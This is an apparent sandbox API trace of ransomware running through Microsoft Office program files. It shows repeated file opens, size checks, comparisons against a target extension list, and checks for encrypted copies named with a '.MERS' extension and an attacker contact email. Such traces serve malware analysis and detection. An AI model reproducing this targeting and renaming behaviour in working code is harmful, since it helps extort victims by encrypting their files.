lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\zh-TW\\tipresx.dll.mui") returned 72 [0258.881] lstrlenW (lpString=".jpg") returned 4 [0258.881] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0258.881] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\zh-TW\\tipresx.dll.mui") returned 72 [0258.881] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\zh-TW\\tipresx.dll.mui") returned 72 [0258.881] lstrlenW (lpString=".doc") returned 4 [0258.881] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0258.881] lstrlenW (lpString=".docx") returned 5 [0258.881] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0258.881] lstrlenW (lpString=".pdf") returned 4 [0258.882] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0258.882] lstrlenW (lpString=".xls") returned 4 [0258.882] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0258.882] lstrlenW (lpString=".xlsx") returned 5 [0258.882] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0258.882] lstrlenW (lpString=".ppt") returned 4 [0258.882] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0258.882] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\zh-TW\\tipresx.dll.mui") returned 72 [0258.882] lstrlenW (lpString=".zip") returned 4 [0258.882] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0258.882] lstrlenW (lpString=".rar") returned 4 [0258.882] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0258.882] lstrlenW (lpString=".bz2") returned 4 [0258.882] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0258.882] lstrlenW (lpString=".7z") returned 3 [0258.882] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0258.882] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\zh-TW\\tipresx.dll.mui") returned 72 [0258.882] lstrlenW (lpString=".dbf") returned 4 [0258.882] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0258.882] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\zh-TW\\tipresx.dll.mui") returned 72 [0258.882] lstrlenW (lpString=".1cd") returned 4 [0258.882] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0258.882] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\zh-TW\\tipresx.dll.mui") returned 72 [0258.882] lstrlenW (lpString=".jpg") returned 4 [0258.882] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0258.882] lstrcmpiW (lpString1=".IDX_DLL", lpString2=".MERS") returned -1 [0258.883] lstrlenW (lpString="MSOINTL.REST.IDX_DLL") returned 20 [0258.883] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.REST.IDX_DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\msointl.rest.idx_dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0259.077] GetFileSizeEx (in: hFile=0x338, lpFileSize=0x34aff1c | out: lpFileSize=0x34aff1c*=1388416) returned 1 [0259.077] CloseHandle (hObject=0x338) returned 1 [0259.080] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.REST.IDX_DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\msointl.rest.idx_dll")) returned 0x20 [0259.080] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.REST.IDX_DLL.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\msointl.rest.idx_dll.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0259.080] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.REST.IDX_DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\msointl.rest.idx_dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0259.080] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.REST.IDX_DLL") returned 81 [0259.080] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.REST.IDX_DLL") returned 81 [0259.080] lstrlenW (lpString=".doc") returned 4 [0259.080] lstrcmpiW (lpString1=".doc", lpString2="_DLL") returned -1 [0259.080] lstrlenW (lpString=".docx") returned 5 [0259.080] lstrcmpiW (lpString1=".docx", lpString2="X_DLL") returned -1 [0259.080] lstrlenW (lpString=".pdf") returned 4 [0259.080] lstrcmpiW (lpString1=".pdf", lpString2="_DLL") returned -1 [0259.080] lstrlenW (lpString=".xls") returned 4 [0259.080] lstrcmpiW (lpString1=".xls", lpString2="_DLL") returned -1 [0259.080] lstrlenW (lpString=".xlsx") returned 5 [0259.080] lstrcmpiW (lpString1=".xlsx", lpString2="X_DLL") returned -1 [0259.080] lstrlenW (lpString=".ppt") returned 4 [0259.080] lstrcmpiW (lpString1=".ppt", lpString2="_DLL") returned -1 [0259.080] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.REST.IDX_DLL") returned 81 [0259.080] lstrlenW (lpString=".zip") returned 4 [0259.080] lstrcmpiW (lpString1=".zip", lpString2="_DLL") returned -1 [0259.080] lstrlenW (lpString=".rar") returned 4 [0259.080] lstrcmpiW (lpString1=".rar", lpString2="_DLL") returned -1 [0259.080] lstrlenW (lpString=".bz2") returned 4 [0259.080] lstrcmpiW (lpString1=".bz2", lpString2="_DLL") returned -1 [0259.080] lstrlenW (lpString=".7z") returned 3 [0259.080] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0259.080] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.REST.IDX_DLL") returned 81 [0259.081] lstrlenW (lpString=".dbf") returned 4 [0259.081] lstrcmpiW (lpString1=".dbf", lpString2="_DLL") returned -1 [0259.081] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.REST.IDX_DLL") returned 81 [0259.081] lstrlenW (lpString=".1cd") returned 4 [0259.081] lstrcmpiW (lpString1=".1cd", lpString2="_DLL") returned -1 [0259.081] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.REST.IDX_DLL") returned 81 [0259.081] lstrlenW (lpString=".jpg") returned 4 [0259.081] lstrcmpiW (lpString1=".jpg", lpString2="_DLL") returned -1 [0259.081] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.REST.IDX_DLL") returned 81 [0259.081] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.REST.IDX_DLL") returned 81 [0259.081] lstrlenW (lpString=".doc") returned 4 [0259.081] lstrcmpiW (lpString1=".doc", lpString2="_DLL") returned -1 [0259.081] lstrlenW (lpString=".docx") returned 5 [0259.081] lstrcmpiW (lpString1=".docx", lpString2="X_DLL") returned -1 [0259.081] lstrlenW (lpString=".pdf") returned 4 [0259.081] lstrcmpiW (lpString1=".pdf", lpString2="_DLL") returned -1 [0259.081] lstrlenW (lpString=".xls") returned 4 [0259.081] lstrcmpiW (lpString1=".xls", lpString2="_DLL") returned -1 [0259.081] lstrlenW (lpString=".xlsx") returned 5 [0259.081] lstrcmpiW (lpString1=".xlsx", lpString2="X_DLL") returned -1 [0259.081] lstrlenW (lpString=".ppt") returned 4 [0259.081] lstrcmpiW (lpString1=".ppt", lpString2="_DLL") returned -1 [0259.081] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.REST.IDX_DLL") returned 81 [0259.081] lstrlenW (lpString=".zip") returned 4 [0259.081] lstrcmpiW (lpString1=".zip", lpString2="_DLL") returned -1 [0259.081] lstrlenW (lpString=".rar") returned 4 [0259.081] lstrcmpiW (lpString1=".rar", lpString2="_DLL") returned -1 [0259.081] lstrlenW (lpString=".bz2") returned 4 [0259.081] lstrcmpiW (lpString1=".bz2", lpString2="_DLL") returned -1 [0259.082] lstrlenW (lpString=".7z") returned 3 [0259.082] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0259.082] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.REST.IDX_DLL") returned 81 [0259.082] lstrlenW (lpString=".dbf") returned 4 [0259.082] lstrcmpiW (lpString1=".dbf", lpString2="_DLL") returned -1 [0259.082] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.REST.IDX_DLL") returned 81 [0259.082] lstrlenW (lpString=".1cd") returned 4 [0259.082] lstrcmpiW (lpString1=".1cd", lpString2="_DLL") returned -1 [0259.082] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.REST.IDX_DLL") returned 81 [0259.082] lstrlenW (lpString=".jpg") returned 4 [0259.082] lstrcmpiW (lpString1=".jpg", lpString2="_DLL") returned -1 [0259.082] lstrcmpiW (lpString1=".exe", lpString2=".MERS") returned -1 [0259.082] lstrlenW (lpString="Setup.exe") returned 9 [0259.082] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Setup.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\setup.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0259.085] GetFileSizeEx (in: hFile=0x338, lpFileSize=0x34aff1c | out: lpFileSize=0x34aff1c*=1377144) returned 1 [0259.085] CloseHandle (hObject=0x338) returned 1 [0259.085] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Setup.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\setup.exe")) returned 0x20 [0259.085] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Setup.exe.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\setup.exe.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0259.085] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Setup.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\setup.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0259.085] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Setup.exe") returned 89 [0259.085] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Setup.exe") returned 89 [0259.085] lstrlenW (lpString=".doc") returned 4 [0259.085] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0259.086] lstrlenW (lpString=".docx") returned 5 [0259.086] lstrcmpiW (lpString1=".docx", lpString2="p.exe") returned -1 [0259.086] lstrlenW (lpString=".pdf") returned 4 [0259.086] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0259.086] lstrlenW (lpString=".xls") returned 4 [0259.086] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0259.086] lstrlenW (lpString=".xlsx") returned 5 [0259.086] lstrcmpiW (lpString1=".xlsx", lpString2="p.exe") returned -1 [0259.086] lstrlenW (lpString=".ppt") returned 4 [0259.086] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0259.086] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Setup.exe") returned 89 [0259.086] lstrlenW (lpString=".zip") returned 4 [0259.086] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0259.086] lstrlenW (lpString=".rar") returned 4 [0259.086] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0259.086] lstrlenW (lpString=".bz2") returned 4 [0259.086] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0259.086] lstrlenW (lpString=".7z") returned 3 [0259.086] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0259.086] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Setup.exe") returned 89 [0259.086] lstrlenW (lpString=".dbf") returned 4 [0259.086] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0259.086] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Setup.exe") returned 89 [0259.086] lstrlenW (lpString=".1cd") returned 4 [0259.086] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0259.086] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Setup.exe") returned 89 [0259.086] lstrlenW (lpString=".jpg") returned 4 [0259.086] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0259.086] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Setup.exe") returned 89 [0259.086] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Setup.exe") returned 89 [0259.087] lstrlenW (lpString=".doc") returned 4 [0259.087] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0259.087] lstrlenW (lpString=".docx") returned 5 [0259.087] lstrcmpiW (lpString1=".docx", lpString2="p.exe") returned -1 [0259.087] lstrlenW (lpString=".pdf") returned 4 [0259.087] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0259.087] lstrlenW (lpString=".xls") returned 4 [0259.087] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0259.087] lstrlenW (lpString=".xlsx") returned 5 [0259.087] lstrcmpiW (lpString1=".xlsx", lpString2="p.exe") returned -1 [0259.087] lstrlenW (lpString=".ppt") returned 4 [0259.087] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0259.087] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Setup.exe") returned 89 [0259.087] lstrlenW (lpString=".zip") returned 4 [0259.087] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0259.087] lstrlenW (lpString=".rar") returned 4 [0259.087] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0259.087] lstrlenW (lpString=".bz2") returned 4 [0259.087] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0259.087] lstrlenW (lpString=".7z") returned 3 [0259.087] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0259.087] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Setup.exe") returned 89 [0259.087] lstrlenW (lpString=".dbf") returned 4 [0259.087] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0259.087] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Setup.exe") returned 89 [0259.087] lstrlenW (lpString=".1cd") returned 4 [0259.087] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0259.087] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Setup.exe") returned 89 [0259.087] lstrlenW (lpString=".jpg") returned 4 [0259.087] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0259.088] lstrcmpiW (lpString1=".DLL", lpString2=".MERS") returned -1 [0259.088] lstrlenW (lpString="OFFREL.DLL") returned 10 [0259.088] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\OFFREL.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\offrel.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0259.090] GetFileSizeEx (in: hFile=0x338, lpFileSize=0x34aff1c | out: lpFileSize=0x34aff1c*=9568) returned 1 [0259.090] CloseHandle (hObject=0x338) returned 1 [0259.090] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\OFFREL.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\offrel.dll")) returned 0x20 [0259.090] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\OFFREL.DLL.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\offrel.dll.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0259.090] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\OFFREL.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\offrel.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0259.090] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\OFFREL.DLL") returned 66 [0259.090] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\OFFREL.DLL") returned 66 [0259.090] lstrlenW (lpString=".doc") returned 4 [0259.090] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0259.090] lstrlenW (lpString=".docx") returned 5 [0259.090] lstrcmpiW (lpString1=".docx", lpString2="L.DLL") returned -1 [0259.090] lstrlenW (lpString=".pdf") returned 4 [0259.090] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0259.090] lstrlenW (lpString=".xls") returned 4 [0259.090] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0259.090] lstrlenW (lpString=".xlsx") returned 5 [0259.090] lstrcmpiW (lpString1=".xlsx", lpString2="L.DLL") returned -1 [0259.090] lstrlenW (lpString=".ppt") returned 4 [0259.090] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0259.091] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\OFFREL.DLL") returned 66 [0259.091] lstrlenW (lpString=".zip") returned 4 [0259.091] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0259.091] lstrlenW (lpString=".rar") returned 4 [0259.091] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0259.091] lstrlenW (lpString=".bz2") returned 4 [0259.091] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0259.091] lstrlenW (lpString=".7z") returned 3 [0259.091] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0259.091] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\OFFREL.DLL") returned 66 [0259.091] lstrlenW (lpString=".dbf") returned 4 [0259.091] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0259.091] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\OFFREL.DLL") returned 66 [0259.091] lstrlenW (lpString=".1cd") returned 4 [0259.091] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0259.091] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\OFFREL.DLL") returned 66 [0259.091] lstrlenW (lpString=".jpg") returned 4 [0259.091] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0259.091] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\OFFREL.DLL") returned 66 [0259.091] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\OFFREL.DLL") returned 66 [0259.091] lstrlenW (lpString=".doc") returned 4 [0259.091] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0259.091] lstrlenW (lpString=".docx") returned 5 [0259.091] lstrcmpiW (lpString1=".docx", lpString2="L.DLL") returned -1 [0259.091] lstrlenW (lpString=".pdf") returned 4 [0259.092] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0259.092] lstrlenW (lpString=".xls") returned 4 [0259.092] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0259.092] lstrlenW (lpString=".xlsx") returned 5 [0259.092] lstrcmpiW (lpString1=".xlsx", lpString2="L.DLL") returned -1 [0259.092] lstrlenW (lpString=".ppt") returned 4 [0259.092] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0259.092] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\OFFREL.DLL") returned 66 [0259.092] lstrlenW (lpString=".zip") returned 4 [0259.092] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0259.092] lstrlenW (lpString=".rar") returned 4 [0259.092] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0259.092] lstrlenW (lpString=".bz2") returned 4 [0259.092] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0259.092] lstrlenW (lpString=".7z") returned 3 [0259.092] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0259.092] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\OFFREL.DLL") returned 66 [0259.092] lstrlenW (lpString=".dbf") returned 4 [0259.092] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0259.092] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\OFFREL.DLL") returned 66 [0259.092] lstrlenW (lpString=".1cd") returned 4 [0259.092] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0259.092] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\OFFREL.DLL") returned 66 [0259.092] lstrlenW (lpString=".jpg") returned 4 [0259.092] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0259.092] lstrcmpiW (lpString1=".DLL", lpString2=".MERS") returned -1 [0259.092] lstrlenW (lpString="OPHPROXY.DLL") returned 12 [0259.093] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\OPHPROXY.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\ophproxy.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0259.093] GetFileSizeEx (in: hFile=0x338, lpFileSize=0x34aff1c | out: lpFileSize=0x34aff1c*=19848) returned 1 [0259.093] CloseHandle (hObject=0x338) returned 1 [0259.094] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\OPHPROXY.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\ophproxy.dll")) returned 0x20 [0259.094] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\OPHPROXY.DLL.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\ophproxy.dll.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0259.094] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\OPHPROXY.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\ophproxy.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0259.094] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\OPHPROXY.DLL") returned 68 [0259.094] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\OPHPROXY.DLL") returned 68 [0259.094] lstrlenW (lpString=".doc") returned 4 [0259.094] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0259.094] lstrlenW (lpString=".docx") returned 5 [0259.094] lstrcmpiW (lpString1=".docx", lpString2="Y.DLL") returned -1 [0259.094] lstrlenW (lpString=".pdf") returned 4 [0259.094] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0259.094] lstrlenW (lpString=".xls") returned 4 [0259.094] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0259.094] lstrlenW (lpString=".xlsx") returned 5 [0259.094] lstrcmpiW (lpString1=".xlsx", lpString2="Y.DLL") returned -1 [0259.094] lstrlenW (lpString=".ppt") returned 4 [0259.094] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0259.094] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\OPHPROXY.DLL") returned 68 [0259.094] lstrlenW (lpString=".zip") returned 4 [0259.094] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0259.094] lstrlenW (lpString=".rar") returned 4 [0259.094] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0259.094] lstrlenW (lpString=".bz2") returned 4 [0259.094] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0259.094] lstrlenW (lpString=".7z") returned 3 [0259.094] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0259.095] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\OPHPROXY.DLL") returned 68 [0259.095] lstrlenW (lpString=".dbf") returned 4 [0259.095] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0259.095] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\OPHPROXY.DLL") returned 68 [0259.095] lstrlenW (lpString=".1cd") returned 4 [0259.095] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0259.095] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\OPHPROXY.DLL") returned 68 [0259.095] lstrlenW (lpString=".jpg") returned 4 [0259.095] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0259.095] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\OPHPROXY.DLL") returned 68 [0259.095] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\OPHPROXY.DLL") returned 68 [0259.095] lstrlenW (lpString=".doc") returned 4 [0259.095] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0259.095] lstrlenW (lpString=".docx") returned 5 [0259.095] lstrcmpiW (lpString1=".docx", lpString2="Y.DLL") returned -1 [0259.095] lstrlenW (lpString=".pdf") returned 4 [0259.095] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0259.095] lstrlenW (lpString=".xls") returned 4 [0259.095] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0259.095] lstrlenW (lpString=".xlsx") returned 5 [0259.095] lstrcmpiW (lpString1=".xlsx", lpString2="Y.DLL") returned -1 [0259.095] lstrlenW (lpString=".ppt") returned 4 [0259.095] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0259.095] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\OPHPROXY.DLL") returned 68 [0259.095] lstrlenW (lpString=".zip") returned 4 [0259.095] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0259.095] lstrlenW (lpString=".rar") returned 4 [0259.096] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0259.096] lstrlenW (lpString=".bz2") returned 4 [0259.096] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0259.096] lstrlenW (lpString=".7z") returned 3 [0259.096] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0259.096] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\OPHPROXY.DLL") returned 68 [0259.096] lstrlenW (lpString=".dbf") returned 4 [0259.096] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0259.096] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\OPHPROXY.DLL") returned 68 [0259.096] lstrlenW (lpString=".1cd") returned 4 [0259.096] 